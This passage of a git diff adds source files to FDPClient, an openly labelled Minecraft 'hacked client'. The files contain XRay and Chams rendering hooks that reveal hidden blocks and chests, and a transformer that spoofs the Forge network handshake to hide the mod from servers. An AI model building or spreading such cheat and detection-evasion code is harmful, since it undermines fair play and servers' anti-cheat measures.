target="Lnet/minecraft/client/renderer/entity/RenderManager;playerViewX:F")) + private float renderName(RenderManager renderManager) { + return Minecraft.getMinecraft().gameSettings.thirdPersonView == 2 ? -renderManager.playerViewX : renderManager.playerViewX; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityBannerRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityBannerRenderer.java new file mode 100644 index 0000000..0964e38 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityBannerRenderer.java @@ -0,0 +1,88 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import com.google.common.collect.Lists; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.texture.LayeredColorMaskTexture; +import net.minecraft.client.renderer.tileentity.TileEntityBannerRenderer; +import net.minecraft.item.EnumDyeColor; +import net.minecraft.tileentity.TileEntityBanner; +import net.minecraft.util.ResourceLocation; +import net.minecraft.world.World; +import org.spongepowered.asm.mixin.*; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +@Mixin(TileEntityBannerRenderer.class) +public class MixinTileEntityBannerRenderer { + @Shadow + @Final + private static Map<String, TileEntityBannerRenderer.TimedBannerTexture> DESIGNS; + + @Shadow + @Final + private static ResourceLocation BANNERTEXTURES; + + /** + * @author asbyth + * @reason Resolve banners in chests not displaying once cache is full + */ + @Overwrite + private ResourceLocation func_178463_a(TileEntityBanner banner) { + String texture = banner.getPatternResourceLocation(); + + if (texture.isEmpty()) { + return null; + } else { + TileEntityBannerRenderer.TimedBannerTexture timedTexture = DESIGNS.get(texture); + if (timedTexture == null) { + if (DESIGNS.size() >= 256 && !this.freeCacheSlot()) { + return BANNERTEXTURES; + } + + List<TileEntityBanner.EnumBannerPattern> patternList = banner.getPatternList(); + List<EnumDyeColor> colorList = banner.getColorList(); + List<String> patternPath = Lists.newArrayList(); + + for (TileEntityBanner.EnumBannerPattern pattern : patternList) { + patternPath.add("textures/entity/banner/" + pattern.getPatternName() + ".png"); + } + + timedTexture = new TileEntityBannerRenderer.TimedBannerTexture(); + timedTexture.bannerTexture = new ResourceLocation(texture); + Minecraft.getMinecraft().getTextureManager().loadTexture(timedTexture.bannerTexture, new LayeredColorMaskTexture(BANNERTEXTURES, patternPath, colorList)); + DESIGNS.put(texture, timedTexture); + } + + timedTexture.systemTime = System.currentTimeMillis(); + return timedTexture.bannerTexture; + } + } + + @Unique + private boolean freeCacheSlot() { + long start = System.currentTimeMillis(); + Iterator<String> iterator = DESIGNS.keySet().iterator(); + + while (iterator.hasNext()) { + String next = iterator.next(); + TileEntityBannerRenderer.TimedBannerTexture timedTexture = DESIGNS.get(next); + + if ((start - timedTexture.systemTime) > 5000L) { + Minecraft.getMinecraft().getTextureManager().deleteTexture(timedTexture.bannerTexture); + iterator.remove(); + return true; + } + } + + return DESIGNS.size() < 256; + } + + @Redirect(method = "renderTileEntityAt(Lnet/minecraft/tileentity/TileEntityBanner;DDDFI)V", at = @At(value = "INVOKE", target = "Lnet/minecraft/world/World;getTotalWorldTime()J")) + private long resolveOverflow(World world) { + return world.getTotalWorldTime() % 100L; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityChestRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityChestRenderer.java new file mode 100644 index 0000000..e5efdbf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityChestRenderer.java @@ -0,0 +1,39 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.Chams; +import net.minecraft.client.renderer.tileentity.TileEntityChestRenderer; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(TileEntityChestRenderer.class) +public class MixinTileEntityChestRenderer { + + @Inject(method = "renderTileEntityAt", at = @At("HEAD")) + private void injectChamsPre(CallbackInfo callbackInfo) { + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + + if (chams.getState() && chams.getChestsValue().get()) { + GL11.glEnable(GL11.GL_POLYGON_OFFSET_FILL); + GL11.glPolygonOffset(1.0F, -1000000F); + } + } + + @Inject(method = "renderTileEntityAt", at = @At("RETURN")) + private void injectChamsPost(CallbackInfo callbackInfo) { + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + + if (chams.getState() && chams.getChestsValue().get()) { + GL11.glPolygonOffset(1.0F, 1000000F); + GL11.glDisable(GL11.GL_POLYGON_OFFSET_FILL); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityItemStackRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityItemStackRenderer.java new file mode 100644 index 0000000..6183c58 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityItemStackRenderer.java @@ -0,0 +1,93 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import com.mojang.authlib.GameProfile; +import net.minecraft.block.Block; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.tileentity.TileEntityItemStackRenderer; +import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher; +import net.minecraft.client.renderer.tileentity.TileEntitySkullRenderer; +import net.minecraft.init.Blocks; +import net.minecraft.init.Items; +import net.minecraft.item.ItemStack; +import net.minecraft.nbt.NBTTagCompound; +import net.minecraft.nbt.NBTUtil; +import net.minecraft.tileentity.TileEntityBanner; +import net.minecraft.tileentity.TileEntityChest; +import net.minecraft.tileentity.TileEntityEnderChest; +import net.minecraft.tileentity.TileEntitySkull; +import net.minecraft.util.EnumFacing; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +@Mixin(TileEntityItemStackRenderer.class) +public class MixinTileEntityItemStackRenderer { + + @Shadow + private TileEntityBanner banner; + + @Shadow + private TileEntityEnderChest enderChest; + + @Shadow + private TileEntityChest field_147718_c; + + @Shadow + private TileEntityChest field_147717_b; + + /** + * @author CCBlueX + */ + @Overwrite + public void renderByItem(ItemStack itemStackIn) { + if(itemStackIn.getItem() == Items.banner) { + this.banner.setItemValues(itemStackIn); + TileEntityRendererDispatcher.instance.renderTileEntityAt(banner, 0, 0, 0, 0f); + }else if(itemStackIn.getItem() == Items.skull) { + GameProfile gameprofile = null; + + if(itemStackIn.hasTagCompound()) { + NBTTagCompound nbttagcompound = itemStackIn.getTagCompound(); + + try { + if(nbttagcompound.hasKey("SkullOwner", 10)) { + gameprofile = NBTUtil.readGameProfileFromNBT(nbttagcompound.getCompoundTag("SkullOwner")); + }else if(nbttagcompound.hasKey("SkullOwner", 8) && nbttagcompound.getString("SkullOwner").length() > 0) { + GameProfile lvt_2_2_ = new GameProfile(null, nbttagcompound.getString("SkullOwner")); + gameprofile = TileEntitySkull.updateGameprofile(lvt_2_2_); + nbttagcompound.removeTag("SkullOwner"); + nbttagcompound.setTag("SkullOwner", NBTUtil.writeGameProfile(new NBTTagCompound(), gameprofile)); + } + }catch(Exception ignored) { + } + } + + if(TileEntitySkullRenderer.instance != null) { + GlStateManager.pushMatrix(); + GlStateManager.translate(-0.5F, 0.0F, -0.5F); + GlStateManager.scale(2.0F, 2.0F, 2.0F); + GlStateManager.disableCull(); + TileEntitySkullRenderer.instance.renderSkull(0.0F, 0.0F, 0.0F, EnumFacing.UP, 0.0F, itemStackIn.getMetadata(), gameprofile, -1); + GlStateManager.enableCull(); + GlStateManager.popMatrix(); + } + }else{ + Block block = Block.getBlockFromItem(itemStackIn.getItem()); + + if(block == Blocks.ender_chest) { + TileEntityRendererDispatcher.instance.renderTileEntityAt(enderChest, 0, 0, 0, 0f); + }else if(block == Blocks.trapped_chest) { + TileEntityRendererDispatcher.instance.renderTileEntityAt(field_147718_c, 0, 0, 0, 0f); + }else if(block != Blocks.chest) + net.minecraftforge.client.ForgeHooksClient.renderTileItem(itemStackIn.getItem(), itemStackIn.getMetadata()); + else{ + TileEntityRendererDispatcher.instance.renderTileEntityAt(field_147717_b, 0, 0, 0, 0f); + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityMobSpawnerRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityMobSpawnerRenderer.java new file mode 100644 index 0000000..b03cdda --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityMobSpawnerRenderer.java @@ -0,0 +1,22 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.entity.Entity; +import net.minecraft.entity.item.EntityPainting; +import net.minecraft.tileentity.MobSpawnerBaseLogic; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(net.minecraft.client.renderer.tileentity.TileEntityMobSpawnerRenderer.class) +public class MixinTileEntityMobSpawnerRenderer { + + @Inject(method = "renderMob", cancellable = true, at = @At("HEAD")) + private static void injectPaintingSpawnerFix(MobSpawnerBaseLogic mobSpawnerLogic, double posX, double posY, double posZ, float partialTicks, CallbackInfo ci) { + Entity entity = mobSpawnerLogic.func_180612_a(mobSpawnerLogic.getSpawnerWorld()); + + if (entity == null || entity instanceof EntityPainting) + ci.cancel(); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityRendererDispatcher.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityRendererDispatcher.java new file mode 100644 index 0000000..d674cbf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntityRendererDispatcher.java @@ -0,0 +1,27 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.XRay; +import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher; +import net.minecraft.tileentity.TileEntity; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(TileEntityRendererDispatcher.class) +public class MixinTileEntityRendererDispatcher { + + @Inject(method = "renderTileEntity", at = @At("HEAD"), cancellable = true) + private void renderTileEntity(TileEntity tileentityIn, float partialTicks, int destroyStage, final CallbackInfo callbackInfo) { + final XRay xray = FDPClient.moduleManager.getModule(XRay.class); + + if (xray.getState() && !xray.getXrayBlocks().contains(tileentityIn.getBlockType())) + callbackInfo.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntitySkullRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntitySkullRenderer.java new file mode 100644 index 0000000..d384758 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinTileEntitySkullRenderer.java @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.tileentity.TileEntitySkullRenderer; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(TileEntitySkullRenderer.class) +public class MixinTileEntitySkullRenderer { + + @Inject(method = "renderSkull", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/model/ModelBase;render(Lnet/minecraft/entity/Entity;FFFFFF)V")) + private void enableBlending(CallbackInfo ci) { + GlStateManager.enableBlend(); + GlStateManager.tryBlendFuncSeparate(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, GL11.GL_ONE, GL11.GL_ZERO); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinVisGraph.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinVisGraph.java new file mode 100644 index 0000000..80f68c0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinVisGraph.java @@ -0,0 +1,24 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.XRay; +import net.minecraft.client.renderer.chunk.VisGraph; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(VisGraph.class) +public class MixinVisGraph { + + @Inject(method = "func_178606_a", at = @At("HEAD"), cancellable = true) + private void func_178606_a(final CallbackInfo callbackInfo) { + if (FDPClient.moduleManager.getModule(XRay.class).getState()) + callbackInfo.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/resources/MixinDefaultResourcePack.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/resources/MixinDefaultResourcePack.java new file mode 100644 index 0000000..d16dad8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/resources/MixinDefaultResourcePack.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.resources; + +import com.google.common.collect.ImmutableSet; +import net.minecraft.client.resources.DefaultResourcePack; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; + +import java.util.Set; + +@Mixin(DefaultResourcePack.class) +public class MixinDefaultResourcePack { + + @Shadow + public static final Set<String> defaultResourceDomains = ImmutableSet + .of("minecraft", "realms"); + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/resources/MixinSkinManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/resources/MixinSkinManager.java new file mode 100644 index 0000000..f7dc5e2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/resources/MixinSkinManager.java @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.resources; + +import com.mojang.authlib.GameProfile; +import com.mojang.authlib.minecraft.MinecraftProfileTexture; +import net.ccbluex.liquidbounce.features.module.modules.other.NameProtect; +import net.minecraft.client.resources.SkinManager; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +import static net.ccbluex.liquidbounce.utils.MinecraftInstance.mc; + +@Mixin(SkinManager.class) +public class MixinSkinManager { + + @Inject(method = "loadSkinFromCache", cancellable = true, at = @At("HEAD")) + private void injectSkinProtect(GameProfile gameProfile, CallbackInfoReturnable<Map<MinecraftProfileTexture.Type, MinecraftProfileTexture>> cir) { + if (gameProfile == null) + return; + + NameProtect nameProtect = NameProtect.INSTANCE; + + if (nameProtect.handleEvents() && nameProtect.getSkinProtect().get()) { + if (nameProtect.getAllPlayers().get() || Objects.equals(gameProfile.getId(), mc.getSession().getProfile().getId())) { + cir.setReturnValue(new HashMap<>()); + cir.cancel(); + } + } + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinItemStack.java b/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinItemStack.java new file mode 100644 index 0000000..aff7ba1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/implementations/IMixinItemStack.java @@ -0,0 +1,10 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.implementations; + +public interface IMixinItemStack { + long getItemDelay(); +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/transformers/ForgeNetworkTransformer.java b/src/main/java/net/ccbluex/liquidbounce/injection/transformers/ForgeNetworkTransformer.java new file mode 100644 index 0000000..77dc5a7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/transformers/ForgeNetworkTransformer.java @@ -0,0 +1,84 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.transformers; + +import net.ccbluex.liquidbounce.handler.network.ClientSpoof; +import net.ccbluex.liquidbounce.script.remapper.injection.utils.ClassUtils; +import net.ccbluex.liquidbounce.script.remapper.injection.utils.NodeUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.launchwrapper.IClassTransformer; +import org.objectweb.asm.tree.*; + +import static org.objectweb.asm.Opcodes.*; + +/** + * Transform bytecode of classes + */ +public class ForgeNetworkTransformer implements IClassTransformer { + + public static boolean returnMethod() { + return ClientSpoof.enabled && !Minecraft.getMinecraft().isIntegratedServerRunning(); + } + + /** + * Transform a class + * + * @param name of target class + * @param transformedName of target class + * @param basicClass bytecode of target class + * @return new bytecode + */ + @Override + public byte[] transform(String name, String transformedName, byte[] basicClass) { + if (name.equals("net.minecraftforge.fml.common.network.handshake.NetworkDispatcher")) { + try { + final ClassNode classNode = ClassUtils.INSTANCE.toClassNode(basicClass); + + classNode.methods.stream().filter(methodNode -> methodNode.name.equals("handleVanilla")).forEach(methodNode -> { + final LabelNode labelNode = new LabelNode(); + + methodNode.instructions.insertBefore(methodNode.instructions.getFirst(), NodeUtils.INSTANCE.toNodes( + new MethodInsnNode(INVOKESTATIC, "net/ccbluex/liquidbounce/injection/transformers/ForgeNetworkTransformer", "returnMethod", "()Z", false), + new JumpInsnNode(IFEQ, labelNode), + new InsnNode(ICONST_0), + new InsnNode(IRETURN), + labelNode + )); + }); + + return ClassUtils.INSTANCE.toBytes(classNode); + } catch (final Throwable throwable) { + throwable.printStackTrace(); + } + } + + if (name.equals("net.minecraftforge.fml.common.network.handshake.HandshakeMessageHandler")) { + try { + final ClassNode classNode = ClassUtils.INSTANCE.toClassNode(basicClass); + + classNode.methods.stream().filter(method -> method.name.equals("channelRead0")).forEach(methodNode -> { + final LabelNode labelNode = new LabelNode(); + + methodNode.instructions.insertBefore(methodNode.instructions.getFirst(), NodeUtils.INSTANCE.toNodes( + new MethodInsnNode(INVOKESTATIC, + "net/ccbluex/liquidbounce/injection/transformers/ForgeNetworkTransformer", + "returnMethod", "()Z", false + ), + new JumpInsnNode(IFEQ, labelNode), + new InsnNode(RETURN), + labelNode + )); + }); + + return ClassUtils.INSTANCE.toBytes(classNode); + } catch (final Throwable throwable) { + throwable.printStackTrace(); + } + } + + return basicClass; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/transformers/OptimizeTransformer.java b/src/main/java/net/ccbluex/liquidbounce/injection/transformers/OptimizeTransformer.java new file mode 100644 index 0000000..89746e3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/transformers/OptimizeTransformer.java @@ -0,0 +1,69 @@ +package net.ccbluex.liquidbounce.injection.transformers; + +import net.ccbluex.liquidbounce.utils.ASMUtils; +import net.minecraft.launchwrapper.IClassTransformer; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.tree.AbstractInsnNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodInsnNode; + +import java.util.HashMap; +import java.util.concurrent.atomic.AtomicBoolean; + +public class OptimizeTransformer implements IClassTransformer { + + private static final HashMap<String, String> transformMap = new HashMap<>(); + + static { + addTransform("net.minecraft.util.EnumFacing", "cq", "facings"); + addTransform("net.minecraft.util.EnumChatFormatting", "a", "chatFormatting"); + addTransform("net.minecraft.util.EnumParticleTypes", "cy", "particleTypes"); + addTransform("net.minecraft.util.EnumWorldBlockLayer", "adf", "worldBlockLayers"); + } + + /** + * Add transform to transformMap + * @param mcpName the normal name look like in developing env + * @param notchName the obfuscated name in player env + * @param targetName the target method in [StaticStorage] + */ + private static void addTransform(final String mcpName, final String notchName, final String targetName) { + transformMap.put(mcpName, targetName); + transformMap.put(notchName, targetName); + } + + @Override + public byte[] transform(String name, String transformedName, byte[] basicClass) { + if(transformedName.startsWith("net.minecraft") && basicClass != null && !transformMap.containsKey(transformedName)) { + try { + final ClassNode classNode = ASMUtils.INSTANCE.toClassNode(basicClass); + AtomicBoolean changed = new AtomicBoolean(false); + + classNode.methods.forEach(methodNode -> { + for (int i = 0; i < methodNode.instructions.size(); ++i) { + final AbstractInsnNode abstractInsnNode = methodNode.instructions.get(i); + if (abstractInsnNode instanceof MethodInsnNode) { + MethodInsnNode min = (MethodInsnNode) abstractInsnNode; + if(min.getOpcode() == Opcodes.INVOKESTATIC && min.name.equals("values")) { + final String owner = min.owner.replaceAll("/", "."); + if (transformMap.containsKey(owner)) { + changed.set(true); + min.owner = "net/ccbluex/liquidbounce/injection/access/StaticStorage"; + min.name = transformMap.get(owner); + } + } + } + } + }); + + if (changed.get()) { + return ASMUtils.INSTANCE.toBytes(classNode); + } + }catch(final Throwable throwable) { + throwable.printStackTrace(); + } + } + + return basicClass; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/transformers/ViaForgeSupportTransformer.java b/src/main/java/net/ccbluex/liquidbounce/injection/transformers/ViaForgeSupportTransformer.java new file mode 100644 index 0000000..7e79781 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/transformers/ViaForgeSupportTransformer.java @@ -0,0 +1,45 @@ +package net.ccbluex.liquidbounce.injection.transformers; + +import net.ccbluex.liquidbounce.utils.ASMUtils; +import net.minecraft.launchwrapper.IClassTransformer; +import org.objectweb.asm.tree.AbstractInsnNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodInsnNode; +import org.objectweb.asm.tree.TypeInsnNode; + +public class ViaForgeSupportTransformer implements IClassTransformer { + + private final byte[] target = null; + + @Override + public byte[] transform(String name, String transformedName, byte[] basicClass) { + if(name.equals("net.ccbluex.liquidbounce.injection.forge.mixins.network.MixinNetworkManager")) { + try { + final ClassNode classNode = ASMUtils.INSTANCE.toClassNode(basicClass); + + classNode.methods.stream().filter(methodNode -> methodNode.name.equals("createNetworkManagerAndConnect")).forEach(methodNode -> { + for(int i = 0; i < methodNode.instructions.size(); ++i) { + final AbstractInsnNode abstractInsnNode = methodNode.instructions.get(i); + if(abstractInsnNode instanceof TypeInsnNode) { + TypeInsnNode tin = (TypeInsnNode) abstractInsnNode; + if(tin.desc.equals("net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager$1")) { + ((TypeInsnNode) abstractInsnNode).desc = "net/minecraft/network/NetworkManager$5"; + } + } else if(abstractInsnNode instanceof MethodInsnNode) { + MethodInsnNode min = (MethodInsnNode) abstractInsnNode; + if(min.owner.equals("net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager$1") && min.name.equals("<init>")) { + min.owner = "net/minecraft/network/NetworkManager$5"; + } + } + } + }); + + return ASMUtils.INSTANCE.toBytes(classNode); + }catch(final Throwable throwable) { + throwable.printStackTrace(); + } + } + + return basicClass; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/script/Script.kt b/src/main/java/net/ccbluex/liquidbounce/script/Script.kt new file mode 100644 index 0000000..b3e0a3b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/script/Script.kt @@ -0,0 +1,188 @@ +package net.ccbluex.liquidbounce.script + +import jdk.internal.dynalink.beans.StaticClass +import jdk.nashorn.api.scripting.JSObject +import jdk.nashorn.api.scripting.NashornScriptEngineFactory +import jdk.nashorn.api.scripting.ScriptUtils +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.script.api.* +import net.ccbluex.liquidbounce.script.api.global.Chat +import net.ccbluex.liquidbounce.script.api.global.Notifications +import net.ccbluex.liquidbounce.script.api.global.Setting +import net.ccbluex.liquidbounce.utils.* +import java.io.File +import java.util.function.Function + +class Script(private val scriptFile: File) : MinecraftInstance() { + + private val scriptEngine = NashornScriptEngineFactory().getScriptEngine( + emptyArray(), + this.javaClass.classLoader, + ScriptSafetyManager.classFilter + ) + var scriptText: String = + if (!scriptFile.path.contains("CloudLoad")) scriptFile.readText(Charsets.UTF_8) else "//api_version=2" + var isOnline = false + + // Script information + lateinit var scriptName: String + lateinit var scriptVersion: String + lateinit var scriptAuthors: Array<String> + + private var state = false + private var isEnable = false + private val events = HashMap<String, JSObject>() + private val registeredModules = mutableListOf<Module>() + private val registeredCommands = mutableListOf<Command>() + fun getState(): Boolean { + return isEnable; + } + + fun getRegisteredModules(): MutableList<Module> { + return registeredModules; + } + + init { + //Main + scriptEngine.put("Chat", StaticClass.forClass(Chat::class.java)) + scriptEngine.put("Setting", StaticClass.forClass(Setting::class.java)) + scriptEngine.put("Notifications", StaticClass.forClass(Notifications::class.java)) + + // Global instances + scriptEngine.put("mc", mc) + scriptEngine.put("moduleManager", FDPClient.moduleManager) + scriptEngine.put("commandManager", FDPClient.commandManager) + scriptEngine.put("scriptManager", FDPClient.scriptManager) + + // Utils + scriptEngine.put("MovementUtils", MovementUtils) + scriptEngine.put("PacketUtils", PacketUtils) + scriptEngine.put("InventoryUtils", InventoryUtils) + scriptEngine.put("ClientUtils", ClientUtils) + + // Global functions + scriptEngine.put("registerScript", RegisterScript()) + supportLegacyScripts() + + scriptEngine.eval(scriptText) + callEvent("load") + } + + @Suppress("UNCHECKED_CAST") + inner class RegisterScript : Function<JSObject, Script> { + /** + * Global function 'registerScript' which is called to register a script. + * @param scriptObject JavaScript object containing information about the script. + * @return The instance of this script. + */ + override fun apply(scriptObject: JSObject): Script { + scriptName = scriptObject.getMember("name") as String + scriptVersion = scriptObject.getMember("version") as String + scriptAuthors = + ScriptUtils.convert(scriptObject.getMember("authors"), Array<String>::class.java) as Array<String> + + return this@Script + } + } + + /** + * Registers a new script module. + * @param moduleObject JavaScript object containing information about the module. + * @param callback JavaScript function to which the corresponding instance of [ScriptModule] is passed. + * @see ScriptModule + */ + @Suppress("unused") + fun registerModule(moduleObject: JSObject, callback: JSObject) { + val module = ScriptModule(moduleObject) + FDPClient.moduleManager.registerModule(module) + registeredModules += module + callback.call(moduleObject, module) + } + + /** + * Registers a new script command. + * @param commandObject JavaScript object containing information about the command. + * @param callback JavaScript function to which the corresponding instance of [ScriptCommand] is passed. + * @see ScriptCommand + */ + @Suppress("unused") + fun registerCommand(commandObject: JSObject, callback: JSObject) { + val command = ScriptCommand(commandObject) + FDPClient.commandManager.registerCommand(command) + registeredCommands += command + callback.call(commandObject, command) + } + + fun regAnyThing() { + registeredModules.forEach { FDPClient.moduleManager.registerModule(it) } + registeredCommands.forEach { FDPClient.commandManager.registerCommand(it) } + } + + fun supportLegacyScripts() { + if (!scriptText.lines().first().contains("api_version=2")) { + ClientUtils.logWarn("[FDPScriptAPI] Running script '${scriptFile.name}' with legacy support.") + val legacyScript = + FDPClient::class.java.getResource("/assets/minecraft/fdpclient/scriptapi/legacy.js")?.readText() + scriptEngine.eval(legacyScript) + } + } + + /** + * Called from inside the script to register a new event handler. + * @param eventName Name of the event. + * @param handler JavaScript function used to handle the event. + */ + fun on(eventName: String, handler: JSObject) { + events[eventName] = handler + } + + /** + * Called when the client enables the script. + */ + fun onEnable() { + if (state) return + + callEvent("enable") + state = true + } + + /** + * Called when the client disables the script. Handles unregistering all modules and commands + * created with this script. + */ + fun onDisable() { + if (!state) return + + registeredModules.forEach { FDPClient.moduleManager.unregisterModule(it) } + registeredCommands.forEach { FDPClient.commandManager.unregisterCommand(it) } + + callEvent("disable") + state = false + } + + /** + * Imports another JavaScript file inro the context of this script. + * @param scriptFile Path to the file to be imported. + */ + fun import(scriptFile: String) { + scriptEngine.eval(File(FDPClient.scriptManager.scriptsFolder, scriptFile).readText()) + } + + /** + * Calls the handler of a registered event. + * @param eventName Name of the event to be called. + */ + fun callEvent(eventName: String) { + when(eventName) { + "enable" -> isEnable = true + "disable" -> isEnable = false + } + try { + events[eventName]?.call(null) + } catch (throwable: Throwable) { + ClientUtils.logError("[FDPScriptAPI] Exception in script '$scriptName'!", throwable) + } + } +} \ No newline at end of file diff --git 